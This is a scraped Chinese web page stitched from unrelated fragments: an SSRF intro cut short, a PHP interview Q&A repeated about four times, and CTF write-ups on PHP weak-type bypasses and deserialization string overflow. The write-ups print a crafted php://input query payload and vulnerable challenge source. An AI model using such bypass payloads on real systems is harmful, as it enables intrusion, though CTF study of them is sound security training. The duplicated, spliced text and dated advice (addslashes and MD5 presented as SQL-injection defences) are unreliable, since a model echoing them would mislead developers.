SSRF即服务端请求伪造,一种由攻击者构造的通过服务器发起请求的攻击。
测试代码如下:
<br />
首先通过访问百度可以验证漏洞存在
无回显情况即不进行输出,页面返回空
这种情况可以通过dnslog或者python搭建http服务验证
1、DNSLOG
://
php截取字符串网站内容 PHP面试100题汇总【21-40题】
网站优化 • 优采云 发表了文章 • 0 个评论 • 69 次浏览 • 2022-06-21 18:01
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理 查看全部
php截取字符串网站内容 PHP面试100题汇总【21-40题】
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理
php截取字符串网站内容 PHP面试100题汇总【21-40题】
网站优化 • 优采云 发表了文章 • 0 个评论 • 66 次浏览 • 2022-06-21 07:51
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理 查看全部
php截取字符串网站内容 PHP面试100题汇总【21-40题】
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理
php截取字符串网站内容 PHP面试100题汇总【21-40题】
网站优化 • 优采云 发表了文章 • 0 个评论 • 89 次浏览 • 2022-06-20 05:50
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理 查看全部
php截取字符串网站内容 PHP面试100题汇总【21-40题】
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理
【代码审计】PHP代码审计之CTF系列(1)
网站优化 • 优采云 发表了文章 • 0 个评论 • 96 次浏览 • 2022-06-20 01:27
声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
采用github yaofeifly师傅的PHP练习,链接:。每个内容均采用docker。部署过程:进入对应的docker_env,使用
docker-compose builddocker-compose up -d
进入对应docker进程,查看地址访问即可。
challenge 1
访问地址,发现源码
1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
即可得到
补充:
bin2hex() 函数把 ASCII 字符的字符串转换为十六进制值。<br />strrev() 函数反转字符串。<br />hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
challenge 2
题目内容:
得出结果:
补充:
1、当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含’.',’e',’E'并且其数值值在整形的范围之内,该字符串被当作int来取值。其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
2、在进行比较运算时,如果遇到了0e这类字符串,PHP会将它解析为科学计数法。(也就是说只靠最前面的进行判断)
3、在进行比较运算时,如果遇到了0x这类字符串,PHP会将它解析为十六进制。
challenge 3
题目内容:
访问后发现没有什么内容,查看一下源码。
发现存在challenge3.txt文件,尝试访问。
发现源码
<br />
stripos()
stripos()函数:查找字符串在另一字符串中第一次出现的位置(不区分大小写)
strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
stripos()函数返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。字符串位置从 0 开始,不是从 1 开始。
file_get_contents()
file_get_contents()函数:把整个文件读入一个字符串中,加上@是屏蔽对应的错误
PHP中fopen,file_get_contents,curl函数的区别:
1、fopen/file_get_contents 每次请求都会重新做DNS查询,并不对 DNS信息进行缓存。但是CURL会自动对DNS信息进行缓存。对同一域名下的网页或者图片的请求只需要一次DNS查询。这大大减少了DNS查询的次数。所以CURL的性能比fopen /file_get_contents 好很多。
2、fopen /file_get_contents 在请求HTTP时,使用的是http_fopen_wrapper,不会keeplive。而curl却可以。这样在多次请求多个链接时,curl效率会好一些。
3、fopen / file_get_contents 函数会受到php.ini文件中allow_url_open选项配置的影响。如果该配置关闭了,则该函数也就失效了。而curl不受该配置的影响。
4、curl 可以模拟多种请求,例如:POST数据,表单提交等,用户可以按照自己的需求来定制请求。而fopen / file_get_contents只能使用get方式获取数据。
eregi()
eregi()函数:在一个字符串中搜索指定的模式的字符串,搜索不区分大小写。eregi()可以特别有用的检查有效字符串,如密码。
题目
观察完代码后发现为php弱类型绕过。
首先a,进行POST传递。
当data可以通过php://input来接受post数据。
$id传一个字符进去,会被转化为0。
对于b的第一个字符与'111'拼接,和'1114'进行对比)和首字符不为4。
可以设置$b为111111,这样,substr()会发生截断,在匹配时进行eregi('111','1114')满足,同时不会对strlen()造成影响。
构造payload:
?id=a&a=php://input&b=1111111112 is a nice lab!
challenge4
打开后发现源码
<p> 查看全部
【代码审计】PHP代码审计之CTF系列(1)
声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
采用github yaofeifly师傅的PHP练习,链接:。每个内容均采用docker。部署过程:进入对应的docker_env,使用
docker-compose builddocker-compose up -d
进入对应docker进程,查看地址访问即可。
challenge 1
访问地址,发现源码
1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
即可得到
补充:
bin2hex() 函数把 ASCII 字符的字符串转换为十六进制值。<br />strrev() 函数反转字符串。<br />hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
challenge 2
题目内容:
得出结果:
补充:
1、当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含’.',’e',’E'并且其数值值在整形的范围之内,该字符串被当作int来取值。其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
2、在进行比较运算时,如果遇到了0e这类字符串,PHP会将它解析为科学计数法。(也就是说只靠最前面的进行判断)
3、在进行比较运算时,如果遇到了0x这类字符串,PHP会将它解析为十六进制。
challenge 3
题目内容:
访问后发现没有什么内容,查看一下源码。
发现存在challenge3.txt文件,尝试访问。
发现源码
<br />
stripos()
stripos()函数:查找字符串在另一字符串中第一次出现的位置(不区分大小写)
strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
stripos()函数返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。字符串位置从 0 开始,不是从 1 开始。
file_get_contents()
file_get_contents()函数:把整个文件读入一个字符串中,加上@是屏蔽对应的错误
PHP中fopen,file_get_contents,curl函数的区别:
1、fopen/file_get_contents 每次请求都会重新做DNS查询,并不对 DNS信息进行缓存。但是CURL会自动对DNS信息进行缓存。对同一域名下的网页或者图片的请求只需要一次DNS查询。这大大减少了DNS查询的次数。所以CURL的性能比fopen /file_get_contents 好很多。
2、fopen /file_get_contents 在请求HTTP时,使用的是http_fopen_wrapper,不会keeplive。而curl却可以。这样在多次请求多个链接时,curl效率会好一些。
3、fopen / file_get_contents 函数会受到php.ini文件中allow_url_open选项配置的影响。如果该配置关闭了,则该函数也就失效了。而curl不受该配置的影响。
4、curl 可以模拟多种请求,例如:POST数据,表单提交等,用户可以按照自己的需求来定制请求。而fopen / file_get_contents只能使用get方式获取数据。
eregi()
eregi()函数:在一个字符串中搜索指定的模式的字符串,搜索不区分大小写。eregi()可以特别有用的检查有效字符串,如密码。
题目
观察完代码后发现为php弱类型绕过。
首先a,进行POST传递。
当data可以通过php://input来接受post数据。
$id传一个字符进去,会被转化为0。
对于b的第一个字符与'111'拼接,和'1114'进行对比)和首字符不为4。
可以设置$b为111111,这样,substr()会发生截断,在匹配时进行eregi('111','1114')满足,同时不会对strlen()造成影响。
构造payload:
?id=a&a=php://input&b=1111111112 is a nice lab!
challenge4
打开后发现源码
<p>
从一道题看PHP反序列化字符串溢出
网站优化 • 优采云 发表了文章 • 0 个评论 • 100 次浏览 • 2022-06-19 21:32
白帽子社区知识星球
加入星球,共同进步
题目地址:
http://www.bmzclub.cn/challenges#file-vault
01
目录扫描分析代码
这是一道很好反序列化字符串溢出的题目,首先打开容器看到这是一个上传点
先进行目录扫描,发现存在vim的备份文件 index.php~
查看 index.php~ 得到源码如下
?phperror_reporting(0);include('secret.php');$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);global $sandbox_dir;function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}function myunserialize($a, $secret) {if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){return unserialize(substr($a, 0, -64));}}class UploadFile {function upload($fakename, $content) {global $sandbox_dir;$info = pathinfo($fakename);$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);$this->fakename = $fakename;$this->realname = sha1($content).$ext;}function open($fakename, $realname) {global $sandbox_dir;$analysis = "$fakename is in folder $sandbox_dir/$realname.";return $analysis;}}if(!is_dir($sandbox_dir)) {mkdir($sandbox_dir);}if(!is_file($sandbox_dir.'/.htaccess')) {file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");}if(!isset($_GET['action'])) {$_GET['action'] = 'home';}if(!isset($_COOKIE['files'])) {setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);}switch($_GET['action']){case 'home':default:$content = "";$files = myunserialize($_COOKIE['files'], $secret);if($files) {$content .= "";$i = 0;foreach($files as $file) {$content .= "Click to show locations";$i++;}$content .= "";}echo $content;break;case 'upload':if($_SERVER['REQUEST_METHOD'] === "POST") {if(isset($_FILES['file'])) {$uploadfile = new UploadFile;$uploadfile->upload($_FILES['file']['name'],file_get_contents($_FILES['file']['tmp_name']));$files = myunserialize($_COOKIE['files'], $secret);$files[] = $uploadfile;setcookie('files', myserialize($files, $secret));header("Location: index.php?action=home");exit;}}break;case 'changename':if($_SERVER['REQUEST_METHOD'] === "POST") {$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']]) && isset($_POST['newname'])){$files[$_GET['i']]->fakename = $_POST['newname'];}setcookie('files', myserialize($files, $secret));}header("Location: index.php?action=home");exit;case 'open':$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']])){echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename,$files[$_GET['i']]->realname);}exit;case 'reset':setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);array_map('unlink', glob("$sandbox_dir/*"));header("Location: index.php?action=home");exit;}
代码稍微比较多一点,我们一段一段来分析一下,先看第一段
$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);global $sandbox_dir;function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}function myunserialize($a, $secret) {if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){return unserialize(substr($a, 0, -64));}}
$sanbox_dir 即将访问者的IP经过SHA1加密拼接在sanbox后构成单独的路径,例如:sanbox/4b84b15bff6ee5796152495a230e45e3d7e947d9 。myserialize() ,将传入的 $a 序列化,然后进行一个字符串的替换( 这里是形成反序列化字符串溢出的关键点 )得到 $b ,最后返回 SHA256 有未知密钥( $secret )加密后的 $b 作为签名,拼接上 $b 的结果。myunserialize() ,首先截取 $a 的后 64位 部分与 SHA256 加密后的截掉末尾 64位 的$a ,这里就是做一个签名验证,验证序列化字符串加密后是否还是 myserialize() 返回的正确签名,防止攻击者私自修改序列化字符串。最终返回反序列化后得对象。
接着看这段代码
if(!is_dir($sandbox_dir)) {mkdir($sandbox_dir);}if(!is_file($sandbox_dir.'/.htaccess')) {file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");}
当 $sanbox_dir 路径不存在时,创建 $sanbox_dir 。检测在 $sanbox_dir 下是否存在 .htaccess 文件,不存在的话在 $sandbox_dir 下创建 .htaccess ,并写入 php_flag engine off 。该配置作用是禁用当前目录下的PHP解析功能。
action 默认操作为 home ,检查是否设置 Cookie['files'] ,未设置的话设置 Cookie: files ,值为 myserialize($a, $secret) 的返回值, $a 的类型为数组。 $secert 一直都是未知的。
02
继续分析
class UploadFile {function upload($fakename, $content) {global $sandbox_dir;$info = pathinfo($fakename);$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);$this->fakename = $fakename;$this->realname = sha1($content).$ext;}function open($fakename, $realname) {global $sandbox_dir;$analysis = "$fakename is in folder $sandbox_dir/$realname.";return $analysis;}}
UploadFile 类中存在 upload() 和 open() 两个方法,先看 UploadFile::upload() ,将上传的文件写入 $sandbox_dir 下,存储名称为文件内容的 SHA1 加密后的字符,如无后缀即默认 .txt 后缀。没有文件类型限制。$this->fakename 即上传文件的名称, $this->realname 是文件在服务器上存储的名称。UploadFile::open() 即返回指定的 fakename 以及 realname 的存储路径。
接着分析 action 传入不同值的操作
